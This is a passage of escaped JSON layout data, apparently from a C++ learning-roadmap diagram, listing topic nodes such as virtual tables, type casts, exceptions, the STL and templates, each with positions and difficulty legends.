\"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 307,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hNBErGNiegLsUJn_vgcOR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 468.86058049826306,\n        \"y\": 921.9725710130272\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Virtual Methods\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 167,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 167,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 468.86058049826306,\n        \"y\": 921.9725710130272\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 167,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"s99ImazcwCgAESxZd8ksa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 626.8605804982631,\n        \"y\": 921.9725710130272\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Virtual Tables\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 626.8605804982631,\n        \"y\": 921.9725710130272\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7h1VivjCPDwriL7FirtFv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 468.86058049826306,\n        \"y\": 968.6623554103876\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Dynamic Polymorphism\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 307,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 307,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 468.86058049826306,\n        \"y\": 968.6623554103876\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 307,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"B2SGBENzUMl0SAjG4j91V\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 178.53282395046762,\n        \"y\": 1286.826261482708\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Exception Handling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-6fwJQOfsorgHkoQGp4T3\",\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 178.53282395046762,\n        \"y\": 1286.826261482708\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oWygnpwHq2poXQMTTSCpl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 178.53282395046762,\n        \"y\": 1384.826261482708\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Exit Codes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NJud5SXBAUZ6Sr78kZ7jx\",\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 178.53282395046762,\n        \"y\": 1384.826261482708\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NJud5SXBAUZ6Sr78kZ7jx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 180.4684674563091,\n        \"y\": 1438.7934586483889\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Exceptions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 180.4684674563091,\n        \"y\": 1438.7934586483889\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"y4-P4UNC--rE1vni8HdTn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 180.4684674563091,\n        \"y\": 1492.7934586483889\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Access Violations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 180.4684674563091,\n        \"y\": 1492.7934586483889\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-6fwJQOfsorgHkoQGp4T3\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -286.929978402122,\n        \"y\": 1286.826261482708\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Language Concepts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 322,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 322,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.929978402122,\n        \"y\": 1286.826261482708\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 322,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CG01PTVgHtjfKvsJkJLGl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -286.929978402122,\n        \"y\": 1389.7934586483889\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"auto (Automatic Type Deduction)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 322,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 322,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.929978402122,\n        \"y\": 1389.7934586483889\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 322,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PiMhw1oP9-NZEa6I9u4lX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -286.929978402122,\n        \"y\": 1444.7147615325937\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Type Casting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 322,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 322,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.929978402122,\n        \"y\": 1444.7147615325937\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 322,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_XB2Imyf23-6AOeoNLhYQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -278.29496924274974,\n        \"y\": 1500.2090861977936\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"static_cast\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 141,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 141,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -278.29496924274974,\n        \"y\": 1500.2090861977936\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 141,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5g22glc97siQOcTkHbwan\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -130.52203293340202,\n        \"y\": 1500.2090861977936\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"const_cast\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 156,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 156,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -130.52203293340202,\n        \"y\": 1500.2090861977936\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 156,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4BdFcuQ5KNW94cu2jz-vE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -278.29496924274974,\n        \"y\": 1553.301140729074\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"dynamic_cast\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 141,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 141,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -278.29496924274974,\n        \"y\": 1553.301140729074\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 141,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZMyFDJrpCauGrY5NZkOwg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -130.52203293340202,\n        \"y\": 1553.301140729074\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"reinterpret_cast\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 156,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 156,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -130.52203293340202,\n        \"y\": 1553.301140729074\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 156,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IDOlquv6jlfecwQoBwkGZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -286.929978402122,\n        \"y\": 1618.893819847594\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Undefined Behavior (UB)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 322,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 322,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.929978402122,\n        \"y\": 1618.893819847594\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 322,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YSWN7nS8vA9nMldSUrZRT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -286.929978402122,\n        \"y\": 1672.893819847594\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Argument Dependent Lookup (ADL)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 322,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 322,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.929978402122,\n        \"y\": 1672.893819847594\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 322,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Lt7ss59KZw9Jwqj234jm2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -286.929978402122,\n        \"y\": 1726.893819847594\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Name Mangling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 186,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.929978402122,\n        \"y\": 1726.893819847594\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zKdlfZTRHwjtmRUGW9z9-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -97.929978402122,\n        \"y\": 1726.893819847594\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Macros\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Advanced Topics / Pick Later\",\n          \"color\": \"#000000\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 133,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 133,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -97.929978402122,\n        \"y\": 1726.893819847594\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 133,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"V2SeVMoQJXI2btIHr8e-u\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 122.76444711909286,\n        \"y\": 1310.789165472234\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 365,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 365\n      },\n      \"positionAbsolute\": {\n        \"x\": 122.76444711909286,\n        \"y\": 1310.789165472234\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 365\n      }\n    },\n    {\n      \"id\": \"DHdNBP7_ixjr6h-dIQ7g6\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 93.99375240505299,\n        \"y\": 1658.893819847594\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Standard Library + STL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 93.99375240505299,\n        \"y\": 1658.893819847594\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ebu8gzbyyXEeJryeE0SpG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 93.99375240505299,\n        \"y\": 1745.4441943390277\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Iterators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 153,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 153,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 93.99375240505299,\n        \"y\": 1745.4441943390277\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 153,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VeVxZ230xkesQsIDig8zQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 250.993752405053,\n        \"y\": 1746.4441943390277\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"iostream\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 140,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 140,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 250.993752405053,\n        \"y\": 1746.4441943390277\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 140,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"whyj6Z4RXFsVQYRfYYn7B\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 93.99375240505299,\n        \"y\": 1798.4441943390277\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Algorithms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 153,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 153,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 93.99375240505299,\n        \"y\": 1798.4441943390277\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 153,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yGvE6eHKlPMBB6rde0llR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 250.993752405053,\n        \"y\": 1799.4441943390277\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Date / Time\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 140,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 140,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 250.993752405053,\n        \"y\": 1799.4441943390277\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 140,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OXQUPqxzs1-giAACwl3X1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 93.99375240505299,\n        \"y\": 1851.4441943390277\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Multithreading\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 153,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 153,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 93.99375240505299,\n        \"y\": 1851.4441943390277\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 153,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1pydf-SR0QUfVNuBEyvzc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 250.993752405053,\n        \"y\": 1852.4441943390277\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Containers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 140,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 140,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 250.993752405053,\n        \"y\": 1852.4441943390277\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 140,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-6AOrbuOE7DJCmxlcgCay\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 526.0040411704451,\n        \"y\": 1751.4441943390277\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Templates\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 161,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 161,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 526.0040411704451,\n        \"y\": 1751.4441943390277\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"w4EIf58KP-Pq-yc0HlGxc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 466.39833855329164,\n        \"y\": 1639.7730008603658\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Variadic Templates\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 466.39833855329164,\n        \"y\": 1639.7730008603658\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sObOuccY0PDeGG-9GrFDF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 466.39833855329164,\n        \"y\": 1470.7730008603658\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Template Specialization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 466.39833855329164,\n        \"y\": 1470.7730008603658\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WptReUOwVth3C9-AVmMHF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 466.39833855329164,\n        \"y\": 1417.117522069225\n 